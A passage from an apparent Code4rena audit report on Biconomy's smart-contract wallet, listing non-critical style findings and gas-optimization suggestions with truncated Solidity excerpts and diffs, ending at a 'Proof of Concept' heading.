It is recommended that Solidity contracts are fully annotated using NatSpec for all public interfaces (everything in the ABI). It is clearly stated in the Solidity official documentation.

In complex projects such as Defi, the interpretation of all functions and their arguments and returns is important for code readability and auditability.

https://docs.soliditylang.org/en/v0.8.15/natspec-format.html

Recommendation

NatSpec comments should be increased in contracts.

[N-05] `Function writing` that does not comply with the `Solidity Style Guide`

Context

All Contracts

Description

Order of Functions; ordering helps readers identify which functions they can call and to find the constructor and fallback definitions easier. But there are contracts in the project that do not comply with this.

https://docs.soliditylang.org/en/v0.8.17/style-guide.html

Functions should be grouped according to their visibility and ordered:

- constructor
- receive function (if exists)
- fallback function (if exists)
- external
- public
- internal
- private
- within a grouping, place the view and pure functions last

[N-06] Add a timelock to critical functions

It is a good practice to give time for users to react and adjust to critical changes. A timelock provides more guarantees and reduces the level of trust required, thus decreasing risk for users. It also indicates that the project is legitimate (less risk of a

malicious owner making a sandwich attack on a user). Consider adding a timelock to:

```
contracts/smart-contract-wallet/SmartAccount.sol:
  108
  109:     function setOwner(address _newOwner) external mixedAu
  110:         require(_newOwner != address(0), "Smart Account::
  111:         address oldOwner = owner;
  112:         owner = _newOwner;
  113:         emit EOAChanged(address(this), oldOwner, _newOwne
  114:     }
  115
```

[N-07] For modern and more readable code; update import usages

Context

All Contracts (116 results - 40 files)

Description

Solidity code is also cleaner in another way that might not be noticeable: the struct Point. We were importing it previously with global import but not using it. The Point struct `polluted the source code` with an unnecessary object we were not using because we did not need it.

This was breaking the rule of modularity and modular programming: `only import what you need` Specific imports with curly braces allow us to apply this rule better.

Recommendation

```
import {contract1 , contract2} from "filename.sol";
```

A good example from the ArtGobblers project;

```
import {Owned} from "solmate/auth/Owned.sol";
import {ERC721} from "solmate/tokens/ERC721.sol";
import {LibString} from "solmate/utils/LibString.sol";
```

```
import {MerkleProofLib} from "solmate/utils/MerkleProofLib.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib
import {ERC1155, ERC1155TokenReceiver} from "solmate/tokens/ERC1
import {toWadUnsafe, toDaysWadUnsafe} from "solmate/utils/Signed
```

[N-08] Include return parameters in NatSpec comments

Context

All Contracts

Description

It is recommended that Solidity contracts are fully annotated using NatSpec for all public interfaces (everything in the ABI). It is clearly stated in the Solidity official documentation. In complex projects such as Defi, the interpretation of all functions and their arguments and returns is important for code readability and auditability.

https://docs.soliditylang.org/en/v0.8.15/natspec-format.html

Recommendation

Include return parameters in NatSpec comments

Recommendation Code Style: (from Uniswap3)

```
    /// @notice Adds liquidity for the given recipient/tickLower
    /// @dev The caller of this method receives a callback in th
    /// in which they must pay any token0 or token1 owed for the
    /// on tickLower, tickUpper, the amount of liquidity, and th
    /// @param recipient The address for which the liquidity wil
    /// @param tickLower The lower tick of the position in which
    /// @param tickUpper The upper tick of the position in which
    /// @param amount The amount of liquidity to mint
    /// @param data Any data that should be passed through to th
    /// @return amount0 The amount of token0 that was paid to mi
    /// @return amount1 The amount of token1 that was paid to mi
    function mint(
        address recipient,
        int24 tickLower,
        int24 tickUpper,
```

```
        uint128 amount,
        bytes calldata data
    ) external returns (uint256 amount0, uint256 amount1);
```

[N-09] Long lines are not suitable for the ‘Solidity Style Guide’

Context

EntryPoint.sol#L168
EntryPoint.sol#L289
EntryPoint.sol#L319
EntryPoint.sol#L349
EntryPoint.sol#L363
EntryPoint.sol#L409
EntryPoint.sol#L440
SmartAccount.sol#L239
SmartAccount.sol#L489

Description

It is generally recommended that lines in the source code should not exceed 80-120 characters. Today’s screens are much larger, so in some cases it makes sense to expand that. The lines above should be split when they reach that length, as the files will most likely be on GitHub and GitHub always uses a scrollbar when the length is more than 164 characters.

why-is-80-characters-the-standard-limit-for-code-width

Recommendation

Multiline output parameters and return statements should follow the same style recommended for wrapping long lines found in the Maximum Line Length section.

https://docs.soliditylang.org/en/v0.8.17/style-guide.html#introduction

```
    thisFunctionCallIsReallyLong(
        longArgument1,
        longArgument2,
```

```
    longArgument3
);
```

[N-10] Need Fuzzing test

Context

```
23 results - 5 files

contracts/smart-contract-wallet/SmartAccount.sol:
  470:             unchecked {

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
   73:     unchecked {
   85:     } //unchecked
  185:     unchecked {
  249:     unchecked {
  291:     unchecked {
  350:     unchecked {
  417:     unchecked {
  442:     unchecked {
  477:     } // unchecked
  485:     unchecked {

contracts/smart-contract-wallet/aa-4337/interfaces/UserOperatior
  46:     unchecked {

contracts/smart-contract-wallet/libs/Math.sol:
   60:         unchecked {
  179:         unchecked {
  195:         unchecked {
  207:         unchecked {
  248:         unchecked {
  260:         unchecked {
  297:         unchecked {
  311:         unchecked {
  340:         unchecked {

contracts/smart-contract-wallet/libs/Strings.sol:
  19:         unchecked {
  44:         unchecked {
```

Description

In total 5 contracts, 23 unchecked are used, the functions used are critical. For this reason, there must be fuzzing tests in the tests of the project. Not seen in tests.

Recommendation

Use should fuzzing test like Echidna.

As Alberto Cuesta Canada said:

> Fuzzing is not easy, the tools are rough, and the math is hard, but it is worth it. Fuzzing gives me a level of confidence in my smart contracts that I didn't have before. Relying just on unit testing anymore and poking around in a testnet seems reckless now.

https://medium.com/coinmonks/smart-contract-fuzzing-d9b88e0b0a05

[N-11] Test environment comments and codes should not be in the main version

```
1 result - 1 file

contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  10: // import "../samples/Signatures.sol";
```

[N-12] Use of bytes.concat() instead of abi.encodePacked()

```
5 results - 3 files

contracts/smart-contract-wallet/SmartAccount.sol:
  445:         return abi.encodePacked(bytes1(0x19), bytes1(0x01

contracts/smart-contract-wallet/SmartAccountFactory.sol:
  35:         bytes memory deploymentData = abi.encodePacked(typ
  54:         bytes memory deploymentData = abi.encodePacked(typ
  69:        bytes memory code = abi.encodePacked(type(Proxy).cr
```

```
contracts/smart-contract-wallet/SmartAccountNoAuth.sol:
  435:         return abi.encodePacked(bytes1(0x19), bytes1(0x01
```

Rather than using `abi.encodePacked` for appending bytes, since version 0.8.4, bytes.concat() is enabled

Since version 0.8.4 for appending bytes, bytes.concat() can be used instead of abi.encodePacked(,)

[N-13] For functions, follow Solidity standard naming conventions (internal function style rule)

Context

```
38 results - 11 files

contracts/smart-contract-wallet/SmartAccount.sol:
  181:     function max(uint256 a, uint256 b) internal pure retu

contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol:
  23:     function getStakeInfo(address addr) internal view retu
  38:     function internalIncrementDeposit(address account, uir

contracts/smart-contract-wallet/aa-4337/interfaces/UserOperatior
  36:     function getSender(UserOperation calldata userOp) inte
  45:     function gasPrice(UserOperation calldata userOp) inter
  57:     function pack(UserOperation calldata userOp) internal
  73:     function hash(UserOperation calldata userOp) internal
  77:     function min(uint256 a, uint256 b) internal pure retur

contracts/smart-contract-wallet/aa-4337/utils/Exec.sol:
  13:     ) internal returns (bool success) {
  23:     ) internal view returns (bool success) {
  33:     ) internal returns (bool success) {
  40:     function getReturnData() internal pure returns (bytes
  51:     function revertWithData(bytes memory returnData) inter
  57:     function callAndRevert(address to, bytes memory data)

contracts/smart-contract-wallet/base/Executor.sol:
  19:     ) internal returns (bool success) {
```

```
contracts/smart-contract-wallet/base/FallbackManager.sol:
  14:     function internalSetFallbackHandler(address handler) i

contracts/smart-contract-wallet/base/ModuleManager.sol:
  16:     address internal constant SENTINEL_MODULES = address(0
  18:     mapping(address => address) internal modules;
  20:     function setupModules(address to, bytes memory data) i

contracts/smart-contract-wallet/common/SecuredTokenTransfer.sol:
  14:     ) internal returns (bool transferred) {

contracts/smart-contract-wallet/libs/LibAddress.sol:
  11:   function isContract(address account) internal view retur

contracts/smart-contract-wallet/libs/Math.sol:
   19:     function max(uint256 a, uint256 b) internal pure retu
   26:     function min(uint256 a, uint256 b) internal pure retu
   34:     function average(uint256 a, uint256 b) internal pure
   45:     function ceilDiv(uint256 a, uint256 b) internal pure
   59:     ) internal pure returns (uint256 result) {
  145:     ) internal pure returns (uint256) {
  158:     function sqrt(uint256 a) internal pure returns (uint2
  194:     function sqrt(uint256 a, Rounding rounding) internal
  205:     function log2(uint256 value) internal pure returns (u
  247:     function log2(uint256 value, Rounding rounding) inter
  258:     function log10(uint256 value) internal pure returns (
  296:     function log10(uint256 value, Rounding rounding) inte
  309:     function log256(uint256 value) internal pure returns
  339:     function log256(uint256 value, Rounding rounding) int

contracts/smart-contract-wallet/paymasters/PaymasterHelpers.sol:
  27:     ) internal pure returns (bytes memory context) {
  34:     function decodePaymasterData(UserOperation calldata op
  43:     function decodePaymasterContext(bytes memory context)
```

Description

The above codes don't follow Solidity's standard naming convention,

internal and private functions : the mixedCase format starting with an underscore (_mixedCase starting with an underscore)

[N-14] Omissions in Events

Throughout the codebase, events are generally emitted when sensitive changes are made to the contracts. However, some events are missing important parameters.

The events should include the new value and old value where possible:

```
contracts/smart-contract-wallet/paymasters/BasePaymaster.sol:
  23:
  24:     function setEntryPoint(IEntryPoint _entryPoint) public
  25:         entryPoint = _entryPoint;
  26:     }
```

[N-15] Open TODOs

Context

```
contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
  255:         // TODO: copy logic of gasPrice?
```

Recommendation

Use temporary TODOs as you work on a feature, but make sure to treat them before merging. Either add a link to a proper issue in your TODO, or remove it from the code.

[N-16] Mark visibility of init(...) functions as `external`

```
contracts/smart-contract-wallet/SmartAccount.sol:
  166:     function init(address _owner, address _entryPointAddr
  167:         require(owner == address(0), "Already initialized
  168:         require(address(_entryPoint) == address(0), "Alre
  169:         require(_owner != address(0),"Invalid owner");
  170:         require(_entryPointAddress != address(0), "Invali
  171:         require(_handler != address(0), "Invalid Entrypoi
  172:         owner = _owner;
  173:         _entryPoint =  IEntryPoint(payable(_entryPointAdd
  174:         if (_handler != address(0)) internalSetFallbackHa
  175:         setupModules(address(0), bytes(""));
```

```
176:     }
```

Description

External instead of public would give more the sense of the init(...) functions to behave like a constructor (only called on deployment, so should only be called externally).

Security point of view, it might be safer so that it cannot be called internally by accident in the child contract.

It might cost a bit less gas to use external over public.

It is possible to override a function from external to public (= “opening it up”) ✅ but it is not possible to override a function from public to external (= “narrow it down”). ❌

For above reasons you can change init(...) to external

https://github.com/OpenZeppelin/openzeppelin-contracts/issues/3750

[N-17] Use underscores for number literals

```
contracts/smart-contract-wallet/SmartAccount.sol:
-  200:         uint256 startGas = gasleft() + 21000 + msg.data.
+               uint256 startGas = gasleft() + 21_000 + msg.data

contracts/smart-contract-wallet/common/SecuredTokenTransfer.sol:
- 22:             let success := call(sub(gas(), 10000), token,
+                 let success := call(sub(gas(), 10_000), token,
```

Description

There is occasions where certain number have been hardcoded, either in variable or in the code itself. Large numbers can become hard to read.

Recommendation

Consider using underscores for number literals to improve its readability.

[N-18] `Empty blocks` should be *removed* or *Emit* something

Description

Code contains empty block

```
2 results - 2 files

contracts/smart-contract-wallet/SmartAccount.sol:
  550:     receive() external payable {}

contracts/smart-contract-wallet/aa-4337/samples/SimpleAccount.sc
  41:     receive() external payable {}
```

Recommendation

The code should be refactored such that they no longer exist, or the block should do something useful, such as emitting an event or reverting.

[N-19] Use `require` instead of `assert`

```
2 results - 2 files

contracts/smart-contract-wallet/Proxy.sol:
  15      constructor(address _implementation) {
  16:         assert(_IMPLEMENTATION_SLOT == bytes32(uint256(ke

contracts/smart-contract-wallet/common/Singleton.sol:
  12      function _setImplementation(address _imp) internal {
  13:         assert(_IMPLEMENTATION_SLOT == bytes32(uint256(kec
```

Description

Assert should not be used except for tests, `require` should be used.

Prior to Solidity 0.8.0, pressing a confirm consumes the remainder of the process's available gas instead of returning it, as request()/revert() did.

assert() and require();

The big difference between the two is that the `assert()` function when false, uses up all the remaining gas and reverts all the changes made.
Meanwhile, a `require()` function when false, also reverts back all the changes made to the contract but does refund all the remaining gas fees we offered to pay. This is the most common Solidity function used by developers for debugging and error handling.

Assertion() should be avoided even after solidity version 0.8.0, because its documentation states "The Assert function generates an error of type Panic(uint256).Code that works properly should never Panic, even on invalid external input. If this happens, you need to fix it in your contract. There's a mistake".

[N-20] Implement some type of version counter that will be incremented automatically for contract upgrades

As part of the upgradeability of Proxies, the contract can be upgraded multiple times, where it is a systematic approach to record the version of each upgrade.

```
contracts/smart-contract-wallet/SmartAccount.sol:
  120:     function updateImplementation(address _implementatior
  121:         require(_implementation.isContract(), "INVALID_IM
  122:         _setImplementation(_implementation);
  123:         // EOA + Version tracking
  124:         emit ImplementationUpdated(address(this), VERSIOI
  125:     }
```

I suggest implementing some kind of version counter that will be incremented automatically when you upgrade the contract.

Recommendation

```
uint256 public VERSION;
```

```
contracts/smart-contract-wallet/SmartAccount.sol:
  120:     function updateImplementation(address _implementatior
  121:         require(_implementation.isContract(), "INVALID_IM
  122:         _setImplementation(_implementation);
  123:         // EOA + Version tracking
  124:         emit ImplementationUpdated(address(this), ++VERSI
  125:     }
```

[N-21] Tokens accidentally sent to the contract cannot be recovered

It can't be recovered if the tokens accidentally arrive at the contract address, which has happened to many popular projects, so I recommend adding a recovery code to your critical contracts.

Recommended Mitigation Steps

Add this code:

```
 /**
  * @notice Sends ERC20 tokens trapped in contract to external a
  * @dev Onlyowner is allowed to make this function call
  * @param account is the receiving address
  * @param externalToken is the token being sent
  * @param amount is the quantity being sent
  * @return boolean value indicating whether the operation succe
  *
 */
  function rescueERC20(address account, address externalToken, u
    IERC20(externalToken).transfer(account, amount);
    return true;
  }
}
```

[N-22] Use a single file for all system-wide constants

There are many addresses and constants used in the system. It is recommended to put the most used ones in one file (for example constants.sol, use inheritance to access these values).

This will help with readability and easier maintenance for future changes. This also helps with any issues, as some of these hard-coded values are admin addresses.

constants.sol

Use and import this file in contracts that require access to these values. This is just a suggestion, in some use cases this may result in higher gas usage in the distribution.

```
10 results - 7 files

contracts/smart-contract-wallet/Proxy.sol:
  11:     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x377

contracts/smart-contract-wallet/SmartAccount.sol:
  25:      ISignatureValidatorConstants,
  36:     string public constant VERSION = "1.0.2"; // using AA
  42:     bytes32 internal constant DOMAIN_SEPARATOR_TYPEHASH =
  48:     bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc259

contracts/smart-contract-wallet/SmartAccountFactory.sol:
  11:     string public constant VERSION = "1.0.2";

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
  28:     address private constant SIMULATE_FIND_AGGREGATOR = ac

contracts/smart-contract-wallet/base/FallbackManager.sol:
  12:     bytes32 internal constant FALLBACK_HANDLER_STORAGE_SLO

contracts/smart-contract-wallet/base/ModuleManager.sol:
  16:     address internal constant SENTINEL_MODULES = address(0

contracts/smart-contract-wallet/common/Singleton.sol:
  10:     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x377
```

[N-23] Assembly Codes Specific — Should Have Comments

Since this is a low level language that is more difficult to parse by readers, include extensive documentation, comments on the rationale behind its use, clearly explaining what each assembly instruction does.

This will make it easier for users to trust the code, for reviewers to validate the code, and for developers to build on or update the code.

Note that using Assembly removes several important security features of Solidity, which can make the code more insecure and more error-prone.

```
72 results - 22 files

contracts/smart-contract-wallet/BaseSmartAccount.sol:
  5: /* solhint-disable no-inline-assembly */

contracts/smart-contract-wallet/Proxy.sol:
  17:          assembly {
  24:         // solhint-disable-next-line no-inline-assembly
  25:         assembly {

contracts/smart-contract-wallet/SmartAccount.sol:
  142:         // solhint-disable-next-line no-inline-assembly
  143:         assembly {
  329:                 // solhint-disable-next-line no-inline-as
  330:                 assembly {
  337:                 // solhint-disable-next-line no-inline-as
  338:                 assembly {
  480:             assembly {

contracts/smart-contract-wallet/SmartAccountFactory.sol:
  36:         // solhint-disable-next-line no-inline-assembly
  37:         assembly {
  55:         // solhint-disable-next-line no-inline-assembly
  56:         assembly {

contracts/smart-contract-wallet/SmartAccountNoAuth.sol:
  142:         // solhint-disable-next-line no-inline-assembly
  143:         assembly {
  324:                 // solhint-disable-next-line no-inline-as
  325:                 assembly {
  332:                 // solhint-disable-next-line no-inline-as
  333:                 assembly {
  470:             assembly {

contracts/smart-contract-wallet/aa-4337/core/BaseAccount.sol:
  5: /* solhint-disable no-inline-assembly */

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
    9: /* solhint-disable no-inline-assembly */
  501:         assembly {offset := data}
  505:         assembly {data := offset}
  512:         assembly {mstore(0, number())}
```

```
contracts/smart-contract-wallet/aa-4337/core/SenderCreator.sol:
  19:         /* solhint-disable no-inline-assembly */
  20:         assembly {

contracts/smart-contract-wallet/aa-4337/interfaces/IEntryPoint.s
  9: /* solhint-disable no-inline-assembly */

contracts/smart-contract-wallet/aa-4337/interfaces/UserOperatior
   4: /* solhint-disable no-inline-assembly */
  39:         assembly {data := calldataload(userOp)}
  63:         assembly {

contracts/smart-contract-wallet/aa-4337/utils/Exec.sol:
   4: // solhint-disable no-inline-assembly
  14:         assembly {
  24:         assembly {
  34:         assembly {
  41:         assembly {
  52:         assembly {

contracts/smart-contract-wallet/base/Executor.sol:
  21:             // solhint-disable-next-line no-inline-assembl
  22:             assembly {
  26:             // solhint-disable-next-line no-inline-assembl
  27:             assembly {

contracts/smart-contract-wallet/base/FallbackManager.sol:
  16:         // solhint-disable-next-line no-inline-assembly
  17:         assembly {
  34:         // solhint-disable-next-line no-inline-assembly
  35:         assembly {

contracts/smart-contract-wallet/base/ModuleManager.sol:
   87:         // solhint-disable-next-line no-inline-assembly
   88:         assembly {
  128:         // solhint-disable-next-line no-inline-assembly
  129:         assembly {

contracts/smart-contract-wallet/common/SecuredTokenTransfer.sol:
  18:         // solhint-disable-next-line no-inline-assembly
  19:         assembly {

contracts/smart-contract-wallet/common/SignatureDecoder.sol:
  22:         // solhint-disable-next-line no-inline-assembly
  23:         assembly {
```

```
contracts/smart-contract-wallet/common/Singleton.sol:
  14:         // solhint-disable-next-line no-inline-assembly
  15:         assembly {
  21:         // solhint-disable-next-line no-inline-assembly
  22:         assembly {

contracts/smart-contract-wallet/libs/LibAddress.sol:
  13:     // solhint-disable-next-line no-inline-assembly
  14:     assembly { csize := extcodesize(account) }

contracts/smart-contract-wallet/libs/Math.sol:
   66:             assembly {
   86:             assembly {
  100:             assembly {

contracts/smart-contract-wallet/libs/MultiSend.sol:
  28:         // solhint-disable-next-line no-inline-assembly
  29:         assembly {

contracts/smart-contract-wallet/libs/MultiSendCallOnly.sol:
  22:         // solhint-disable-next-line no-inline-assembly
  23:         assembly {

contracts/smart-contract-wallet/libs/Strings.sol:
  23:             /// @solidity memory-safe-assembly
  24:             assembly {
  29:                 /// @solidity memory-safe-assembly
  30:                 assembly {
```

[S-01] Project Upgrade and Stop Scenario should be

At the start of the project, the system may need to be stopped or upgraded, I suggest you have a script beforehand and add it to the documentation. This can also be called an ” EMERGENCY STOP (CIRCUIT BREAKER) PATTERN “.

https://github.com/maxwoe/solidity_patterns/blob/master/security/EmergencyStop.sol

[S-02] Use descriptive names for Contracts and Libraries

This codebase will be difficult to navigate, as there are no descriptive naming conventions that specify which files should contain meaningful logic.

Prefixes should be added like this by filing:

- Interface I_
- absctract contracts Abs_
- Libraries Lib_

We recommend that you implement this or a similar agreement.

livingrockrises (Biconomy) confirmed

gzeon (judge) commented:

> lgtm

Gas Optimizations

For this contest, 22 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **0xSmartContract** received the top score from the judge.

The following wardens also submitted reports: giovannidisiena, Rageur, Aymen0909, 0x1f8b, lukris02, Secureverse, Rickard, gz627, IIIIIII, cthulhu_cult, shark, Rolezn, chrisdior4, chaduke, Bnke0x0, privateconstant, oyc_109, arialblack14, RaymondFam, pavankv, *and* 0xhacksmithh.

Summary

Number	Optimization Details	Context
[G-01]	With assembly, `.call (bool success)` transfer can be done gas-optimized	8
[G-02]	Remove the `initializer` modifier	1
[G-03]	Structs can be packed into fewer storage slots	2
[G-04]	`DepositInfo` and `PaymasterData` structs can be rearranged	2

Number	Optimization Details	Context
[G-05]	Duplicated require()/if() checks should be refactored to a modifier or function	5
[G-06]	Can be removed to ‘assert’ in function `_setImplementation`	1
[G-07]	Instead of `emit ExecutionSuccess` and `emit ExecutionFailure` a single `emit Execution` is gas efficient	1
[G-08]	Unnecessary computation	1
[G-09]	Using delete instead of setting `info` struct to 0 saves gas	3
[G-10]	Empty blocks should be removed or emit something	1
[G-11]	Using `storage` instead of `memory` for `structs/arrays` saves gas	11
[G-12]	Use Shift Right/Left instead of Division/Multiplication	3
[G-13]	Use constants instead of type(uintx).max	3
[G-14]	Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require` or `if` statement	2
[G-15]	Usage of uints/ints smaller than 32 bytes (256 bits) incurs overhead	8
[G-16]	Reduce the size of error messages (Long revert Strings)	13
[G-17]	Use `double require` instead of using `&&`	3
[G-18]	Use nested if and, avoid multiple check combinations	5
[G-19]	Functions guaranteed to revert_ when callled by normal users can be marked `payable`	18
[G-20]	Setting the *constructor* to `payable`	4
[G-21]	Use `assembly` to write *address storage values*	8
[G-22]	++i/i++ should be unchecked{++i}/unchecked{i++} when it is not possible for them to overflow, as is the case when used in for- and while-loops	6

Number	Optimization Details	Context
[G-23]	Sort Solidity operations using short-circuit mode	8
[G-24]	`x += y (x -= y)` costs more gas than `x = x + y (x = x - y)` for state variables	3
[G-25]	Use a more recent version of solidity	36
[G-26]	Optimize names to save gas	
[G-27]	Upgrade Solidity's optimizer	

Total 27 issues

[G-01] With assembly, `.call (bool success)` transfer can be done gas-optimized

`return` data `(bool success,)` has to be stored due to EVM architecture, but in a usage like below, 'out' and 'outsize' values are given (0,0), this storage disappears and gas optimization is provided.

https://twitter.com/pashovkrum/status/1607024043718316032?t=xs30iD6ORWtE2bTTYsCFIQ&s=19

There are 8 instances of the topic.

```
contracts\smart-contract-wallet\SmartAccount.sol#l451
  449     function transfer(address payable dest, uint amount) e
- 451:        (bool success,) = dest.call{value:amount}("");
+            bool success;
+            assembly {
+                success := call(gas(), dest, amount, 0, 0)
+            }
+
  452           require(success,"transfer failed");
  453       }
  454
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L451

```
contracts\smart-contract-wallet\SmartAccount.sol:
247     function handlePayment(
261:        (bool success,) = receiver.call{value: payment}("");
262         require(success, "BSA011");
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L261

```
271     function handlePaymentRevert(
285:            (bool success,) = receiver.call{value: paymer
286             require(success, "BSA011");
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L285

```
contracts\smart-contract-wallet\SmartAccount.sol:
525     function addDeposit() public payable {
526
527:        (bool req,) = address(entryPoint()).call{value :
528         require(req);
529     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L527

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
35      function _compensate(address payable beneficiary, uint2
36          require(beneficiary != address(0), "AA90 invalid be
37:         (bool success,) = beneficiary.call{value : amount}
38          require(success, "AA91 failed send to beneficiary")
39      }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L37

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
   96     function withdrawStake(address payable withdrawAddress
  106:          (bool success,) = withdrawAddress.call{value : st
  107         require(success, "failed to withdraw stake");
  108     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol#L106

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
  115     function withdrawTo(address payable withdrawAddress, u
  120:          (bool success,) = withdrawAddress.call{value : wi
  121         require(success, "failed to withdraw");
  122     }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol#L120

```
contracts/smart-contract-wallet/BaseSmartAccount.sol:
  106     function _payPrefund(uint256 missingAccountFunds) inte
  108:           (bool success,) = payable(msg.sender).call{va
  109           (success);
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/BaseSmartAccount.sol#L108

[G-02] Remove the `initializer` modifier

If we can just ensure that the `initialize()` function could only be called from within the constructor, we shouldn't need to worry about it getting called again.

```
contracts/smart-contract-wallet/SmartAccount.sol:
  166:     function init(address _owner, address _entryPointAddr
```

In the EVM, the constructor's job is actually to return the bytecode that will live at the contract's address. So, while inside a constructor, your address `(address(this))` will be the deployment address, but there will be no bytecode at that address! So if we check `address(this).code.length` before the constructor has finished, even from within a delegatecall, we will get 0. So now let's update our `initialize()` function to only run if we are inside a constructor:

```
contracts/smart-contract-wallet/SmartAccount.sol:
  166:     function init(address _owner, address _entryPointAddr
+            require(address(this).code.length == 0, 'not in cor
```

Now the Proxy contract's constructor can still delegatecall initialize(), but if anyone attempts to call it again (after deployment) through the Proxy instance, or tries to call it directly on the above instance, it will revert because address(this).code.length will be nonzero.

Also, because we no longer need to write to any state to track whether initialize() has been called, we can avoid the 20k storage gas cost. In fact, the cost for checking our own code size is only 2 gas, which means we have a 10,000x gas savings over the standard version. Pretty neat!

[G-03] Structs can be packed into fewer storage slots

The `UserOperation` struct can be packed into one slot less slot as suggested below.

```
scw-contracts\contracts\smart-contract-wallet\aa-4337\interfaces
  19:     struct UserOperation {
  20
  21         address sender;                 // slot0   (20 bytes
- 22         uint256 nonce;
+ 22         uint96 nonce;                   // slot0   (12 bytes
- 23         bytes initCode;
- 24         bytes callData;
- 25         uint256 callGasLimit;
- 26         uint256 verificationGasLimit;
- 27         uint256 preVerificationGas;
  28         uint128 maxFeePerGas;           // slot1   (16 bytes
  29         uint128 maxPriorityFeePerGas;   // slot1   (16 bytes
```

```
+ 25          uint256 callGasLimit;           // slot2   (32 bytes
+ 26          uint256 verificationGasLimit;   // slot3   (32 bytes
+ 27          uint256 preVerificationGas;     // slot4   (32 bytes
+ 23          bytes initCode;                 // slot5   (32 bytes
+ 24          bytes callData;                 // slot6   (32 bytes
  30          bytes paymasterAndData;         // slot7   (32 bytes
  31          bytes signature;                // slot8   (32 bytes
  32      }
```

The `MemoryUserOp` struct can be packed into one slot less slot as suggested below.

```
scw-contracts\contracts\smart-contract-wallet\aa-4337\core\Entry
  144       //a memory copy of UserOp fields (except that dynamic
  145:      struct MemoryUserOp {
  146           address sender;                // slot0
- 147           uint256 nonce;
+ 147           uint96 nonce;                  // slot0
  148           uint256 callGasLimit;          // slot1
  149           uint256 verificationGasLimit;  // slot2
  150           uint256 preVerificationGas;    // slot3
  151           address paymaster;             // slot4
- 152           uint256 maxFeePerGas;
+ 152           uint128 maxFeePerGas;          // slot5
- 153           uint256 maxPriorityFeePerGas;
+ 153           uint128 maxPriorityFeePerGas; // slot5
  154       }
```

[G-04] `DepositInfo` and `PaymasterData` structs can be rearranged

Gas saving can be achieved by updating the `DepositInfo` struct as below.

```
scw-contracts\contracts\smart-contract-wallet\aa-4337\interfaces
  53:       struct DepositInfo {
+               StakeInfo stakeInfo;
  54            uint112 deposit;
  55            bool staked;
- 56            uint112 stakes;
- 57            uint32 unstakeDelaySec;
  58            uint64 withdrawTime;
```

```
 59      }
```

```
 62:     struct StakeInfo {
 63          uint256 stakes;
 64          uint256 unstakeDelaySec;
 65      }
```

Gas saving can be achieved by updating the `PaymasterData` struct as below.

```
scw-contracts\contracts\smart-contract-wallet\paymasters\Paymast
  7:    struct PaymasterData {
+           PaymasterContext paymasterContex;
- 8:        address paymasterId;
  9:        bytes signature;
 10:       uint256 signatureLength;
 11: }
```

```
  13: struct PaymasterContext {
  14:     address paymasterId;
  15:     //@review
  16: }
```

[G-05] Duplicated require()/if() checks should be refactored to a modifier or function

```
contracts\smart-contract-wallet\SmartAccount.sol:
  258:    if (gasToken == address(0)) {
  282:    if (gasToken == address(0)) {
```

SmartAccount.sol#L258, SmartAccount.sol#L282

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
  315:    if (paymaster == address(0)) {
  330:    if (paymaster == address(0)) {
  448:    if (paymaster == address(0)) {
```

```
321:     if (_deadline != 0 && _deadline < block.timestamp) {
365:     if (_deadline != 0 && _deadline < block.timestamp) {

488:     if (maxFeePerGas == maxPriorityFeePerGas) {
```

EntryPoint.sol#L315, EntryPoint.sol#L330, EntryPoint.sol#L448

EntryPoint.sol#L321, EntryPoint.sol#L365

EntryPoint.sol#L448

```
contracts\smart-contract-wallet\aa-4337\interfaces\UserOperatior
49:     if (maxFeePerGas == maxPriorityFeePerGas) {
```

UserOperation.sol#L49

```
contracts\smart-contract-wallet\base\ModuleManager.sol:
34:         require(module != address(0) && module != SENTINEI
49:         require(module != address(0) && module != SENTINEI
```

ModuleManager.sol#L34, ModuleManager.sol#L49

Recommendation

You can consider adding a modifier like below.

```
modifer check (address checkToAddress) {
        require(checkToAddress != address(0) && checkToAddress !
        _;
    }
```

Here are the data available in the covered contracts. The use of this situation in contracts that are not covered will also provide gas optimization.

[G-06] Can be removed to `assert` in function `_setImplementation`

The state variable `_IMPLEMENTATION_SLOT` constant is precomputed `keccak256("biconomy.scw.proxy.implementation") - 1`. The assert check here is unnecessary. Removing this control provides gas optimization.

```
contracts\smart-contract-wallet\common\Singleton.sol:
  12      function _setImplementation(address _imp) internal {
- 13:          assert(_IMPLEMENTATION_SLOT == bytes32(uint256(kec
  14          // solhint-disable-next-line no-inline-assembly
  15          assembly {
  16            sstore(_IMPLEMENTATION_SLOT, _imp)
  17          }
  18      }
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/common/Singleton.sol#L13

Proof of Concept

